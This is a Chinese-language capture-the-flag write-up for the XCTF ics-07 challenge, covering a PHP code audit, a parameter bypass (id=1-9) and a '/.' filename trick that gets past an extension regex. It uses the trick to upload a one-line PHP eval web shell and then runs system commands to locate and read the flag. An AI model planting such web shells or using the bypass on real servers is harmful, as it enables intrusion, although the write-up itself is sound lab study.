xctf攻防世界ics-07 wp
考察知识点:php代码审计、命令执行
访问题目地址
随便点一点,康康能发现什么
发现这里有源码
进行php代码审计
分析:
参数page存在且其值不等于index.php,才会包含flag.php
将$ con的内容写入$ file中,但文件后缀名不能为.php3/4/5/6/7/t/html
$_SESSION[‘admin’] = True可以满足以上所需
此段需要满足参数id存在,id的浮点值不为’1’,id参数的最后一个数值是9
可以使用id=1-9来绕过
Payload:
http://111.200.241.244:53209/index.php?page=flag.php&id=1-9
可以看到源码中有
此时尝试使用post方式上传文件,file为文件名,con为文件内容,
正则的话是判断.
之后的字符,因此可以利用/.
的方式绕过,这个方式的意思是在文件名目录下在加个空目录,相当于没加,因此达到绕过正则的目的
file=shell.php/.&con=<?php @eval($_POST['pass']);?>
访问http://111.200.241.244:53209/uploaded/backup/
看看是否将shell写上去
用POST传参pass=system('whoami');
康一康
pass=system('find / -name *flag*');
查找flag
pass=system('tac /var/www/html/flag.php');
拿到flag